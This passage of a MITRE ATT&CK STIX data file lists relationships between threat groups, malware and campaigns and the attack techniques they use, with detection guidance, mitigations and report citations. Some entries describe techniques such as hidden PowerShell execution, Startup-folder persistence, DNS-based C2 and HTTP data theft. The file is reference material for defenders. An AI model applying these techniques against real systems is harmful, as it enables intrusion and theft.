"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b5ae2231-49c3-430d-aade-1dfe499cdb57", "type": "relationship", "created": "2022-03-30T14:26:51.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.864Z", "description": "Monitor executed commands and arguments resulting from RC scripts for unusual or unknown applications or behavior", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b5ba1f46-0dd0-49f7-9d24-3822153229ba", "type": "relationship", "created": "2020-05-13T19:39:41.804Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky MoleRATs April 2019", "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}, {"source_name": "Unit42 Molerat Mar 2020", "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}], "modified": "2020-12-15T00:13:05.767Z", "description": "[Molerats](https://attack.mitre.org/groups/G0021) used various implants, including those built with VBScript, on target machines.(Citation: Kaspersky MoleRATs April 2019)(Citation: Unit42 Molerat Mar 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b5ba9aa4-f2dd-4433-994b-bfe4c7c972fe", "type": "relationship", "created": "2021-10-13T22:04:28.577Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Nomadic Octopus 2018", "url": "https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf", "description": "Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}], "modified": "2021-10-14T14:09:00.755Z", "description": "[Nomadic Octopus](https://attack.mitre.org/groups/G0133) has used malicious macros to download additional files to the victim's machine.(Citation: ESET Nomadic Octopus 2018) ", "relationship_type": "uses", "source_ref": "intrusion-set--fed4f0a2-4347-4530-b0f5-6dfd49b29172", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b5baa306-e027-4000-9338-0d9df55c5040", "created": "2022-09-26T21:38:26.418Z", "revoked": false, "external_references": [{"source_name": "McAfee Sharpshooter December 2018", "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-26T21:38:26.418Z", "description": "During [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013), a first-stage downloader installed [Rising Sun](https://attack.mitre.org/software/S0448) to `%Startup%\\mssync.exe` on a compromised host.(Citation: McAfee Sharpshooter December 2018) ", "relationship_type": "uses", "source_ref": "campaign--37764c78-2a99-46d1-a7ea-6454b9bf93a0", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b5be7685-e717-4775-b636-de6e86423234", "created": "2022-03-30T14:26:51.871Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "CERT-EU Golden Ticket Protection", "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf", "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017."}, {"source_name": "Stealthbits Detect PtT 2019", "url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks", "description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020."}, {"source_name": "ADSecurity Detecting Forged Tickets", "url": "https://adsecurity.org/?p=1515", "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015."}, {"source_name": "Microsoft Kerberos Golden Ticket", "url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285", "description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket) Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally.", "modified": "2022-04-20T00:07:11.150Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc", "target_ref": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b5c85267-6a3e-4254-a851-3529f4f80b55", "type": "relationship", "created": "2020-04-28T18:12:13.664Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Medium KONNI Jan 2020", "url": "https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b", "description": "Karmi, D. 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Retrieved February 27, 2024.", "url": "https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T18:33:43.622Z", "description": "During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors moved laterally using compromised credentials to connect to internal Windows systems with SMB.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)", "relationship_type": "uses", "source_ref": "campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b5f8197f-d703-461a-ba51-6e7749dd8367", "type": "relationship", "created": "2020-08-03T19:28:18.045Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/", "source_name": "Trend Micro njRAT 2018"}], "modified": "2020-10-08T18:47:57.839Z", "description": "[njRAT](https://attack.mitre.org/software/S0385) has used HTTP to receive stolen information from the infected machine.(Citation: Trend Micro njRAT 2018)\t", "relationship_type": "uses", "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b6092abb-41b3-4aab-8e13-a7832bc60190", "type": "relationship", "created": "2022-03-30T14:26:51.842Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.842Z", "description": "Monitor for an attempt by a user to gain access to a network or computing resource, often by providing credentials", "source_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", "target_ref": "attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b609347d-0089-4021-86a6-706ef1abc95e", "type": "relationship", "created": "2020-12-01T14:52:12.840Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Team9 June 2020", "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", "description": "Pantazopoulos, N. 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Retrieved November 15, 2018."}], "modified": "2020-03-20T23:57:45.762Z", "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) encrypts communications using AES256.(Citation: ESET GreyEnergy Oct 2018)", "relationship_type": "uses", "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b655c9e9-a6c1-42e9-9df7-60ab64b7f65a", "type": "relationship", "created": "2021-10-19T00:34:12.951Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "trendmicro xcsset xcode project 2020", "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", "description": "Mac Threat Response, Mobile Research Team. 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Retrieved September 20, 2021."}], "modified": "2021-09-21T15:10:56.103Z", "description": "[SpicyOmelette](https://attack.mitre.org/software/S0646) can identify payment systems, payment gateways, and ATM systems in compromised environments.(Citation: Secureworks GOLD KINGSWOOD September 2018)", "relationship_type": "uses", "source_ref": "malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b673ba9b-3eb4-42fd-976d-62fc8d121cc3", "type": "relationship", "created": "2020-03-13T18:11:08.510Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/mattifestation/PowerSploit", "description": "PowerSploit. (n.d.). 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(2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-23T20:41:26.339Z", "description": "[ToddyCat](https://attack.mitre.org/groups/G1022) has hidden malicious scripts using `powershell.exe -windowstyle hidden`. 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Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", "source_name": "Cybereason Soft Cell June 2019"}, {"source_name": "Microsoft GALLIUM December 2019", "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}], "modified": "2021-01-13T21:20:49.173Z", "description": "(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", "target_ref": "tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b69424ec-3af6-44aa-842a-81fba219b9f4", "type": "relationship", "created": "2017-05-31T21:33:27.047Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.", "source_name": "Kaspersky Darkhotel"}, {"description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/", "source_name": "Securelist Darkhotel Aug 2015"}], "modified": "2020-03-16T20:05:43.409Z", "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has used code-signing certificates on its malware that are either forged due to weak keys or stolen. [Darkhotel](https://attack.mitre.org/groups/G0012) has also stolen certificates and signed backdoors and downloaders with them.(Citation: Kaspersky Darkhotel)(Citation: Securelist Darkhotel Aug 2015)", "relationship_type": "uses", "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b69490a4-3768-405e-856d-da11d95183e7", "type": "relationship", "created": "2020-01-30T14:34:45.390Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-14T16:28:19.976Z", "description": "Ensuring that the <code>tty_tickets</code> setting is enabled will prevent this leakage across tty sessions.", "relationship_type": "mitigates", "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", "target_ref": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b695f761-40ed-4988-935c-a1cf5e67c8d8", "type": "relationship", "created": "2021-01-06T17:58:29.248Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye SUNBURST Backdoor December 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}, {"source_name": "Microsoft Deep Dive Solorigate January 2021", "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}], "modified": "2021-01-25T18:11:07.736Z", "description": "[TEARDROP](https://attack.mitre.org/software/S0560) files had names that resembled legitimate Window file and directory names.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)", "relationship_type": "uses", "source_ref": "malware--32f49626-87f4-4d6c-8f59-a0dca953fe26", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b6970925-a435-4942-b244-60e4f57acf86", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT32 May 2017", "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) is capable of file deletion along with other file system interaction.(Citation: FireEye APT32 May 2017)", "relationship_type": "uses", "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b697e1d0-b537-4be0-bd16-fd3f7ade80e8", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html", "description": "Patil, S. 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Retrieved January 4, 2021."}], "modified": "2021-01-06T15:56:49.644Z", "description": "[SUNBURST](https://attack.mitre.org/software/S0559) used DNS for C2 traffic designed to mimic normal SolarWinds API communications.(Citation: FireEye SUNBURST Backdoor December 2020)", "relationship_type": "uses", "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b6a89ded-fa53-42b9-8f40-03c845123ac0", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", "source_name": "ESET InvisiMole June 2018"}, {"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}], "modified": "2020-08-18T13:13:30.938Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can decrypt, unpack and load a DLL from its resources, or from blobs encrypted with Data Protection API, two-key triple DES, and variations of the XOR cipher.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b6a99c7b-0c5c-4d07-ad28-273648ae081e", "created": "2024-04-04T21:53:25.630Z", "revoked": false, "external_references": [{"source_name": "NCSC et al APT29 2024", "description": "UK National Cyber Security Center et al. (2024, February). SVR cyber actors adapt tactics for initial cloud access. Retrieved March 1, 2024.", "url": "https://www.ic3.gov/Media/News/2024/240226.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-04T21:53:25.630Z", "description": "[APT29](https://attack.mitre.org/groups/G0016) uses compromised residential endpoints, typically within the same ISP IP address range, as proxies to hide the true source of C2 traffic.(Citation: NCSC et al APT29 2024)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "attack-pattern--eb897572-8979-4242-a089-56f294f4c91d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b6ac2ef7-350d-48ca-9ab9-8a06f9ff84e3", "type": "relationship", "created": "2021-08-19T21:57:15.756Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Chaes Nov 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf", "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}], "modified": "2021-08-19T21:57:15.756Z", "description": "[Chaes](https://attack.mitre.org/software/S0631) has used HTTP for C2 communications.(Citation: Cybereason Chaes Nov 2020)", "relationship_type": "uses", "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b6ae274b-f0b3-4694-ab8d-37e0c62cff35", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Dragonfly", "description": "Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", "url": "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"}], "modified": "2020-03-17T16:17:38.050Z", "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects information about running processes.(Citation: Symantec Dragonfly)", "relationship_type": "uses", "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b6ba4fa6-4b31-4824-9885-882274c62716", "type": "relationship", "created": "2020-10-12T13:52:32.923Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-12T13:52:32.923Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d", "target_ref": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b6bce22a-7318-483d-a7dc-0edf32814ee5", "type": "relationship", "created": "2021-08-18T19:38:52.079Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Sodin July 2019", "url": "https://securelist.com/sodin-ransomware/91473/", "description": "Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020."}], "modified": "2021-08-18T19:38:52.079Z", "description": "[REvil](https://attack.mitre.org/software/S0496) can check the system language using <code>GetUserDefaultUILanguage</code> and <code>GetSystemDefaultUILanguage</code>. If the language is found in the list, the process terminates.(Citation: Kaspersky Sodin July 2019)\n", "relationship_type": "uses", "source_ref": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", "target_ref": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b6bfd59b-086e-4559-9bc0-159945c84e78", "type": "relationship", "created": "2021-09-27T20:50:56.451Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Checkpoint IndigoZebra July 2021", "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}], "modified": "2021-09-27T20:50:56.452Z", "description": "[BoxCaon](https://attack.mitre.org/software/S0651) used the \"StackStrings\" obfuscation technique to hide malicious functionalities.(Citation: Checkpoint IndigoZebra July 2021)", "relationship_type": "uses", "source_ref": "malware--919a056e-5104-43b9-ad55-2ac929108b71", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b6c09dbf-0934-42c5-a517-847128a0ce5a", "type": "relationship", "created": "2020-10-01T01:08:41.201Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-01T01:08:41.201Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928", "target_ref": "attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b6c10d21-5e91-4dfc-b76e-e94d7142ed32", "type": "relationship", "created": "2020-02-25T19:19:09.956Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-23T23:24:39.532Z", "description": "Consider removing the local Administrators group from the list of groups allowed to log in through RDP.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b6c44630-d1d0-467c-a84d-83564a3a0639", "created": "2020-03-17T02:02:46.878Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT34 July 2019", "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.", "url": 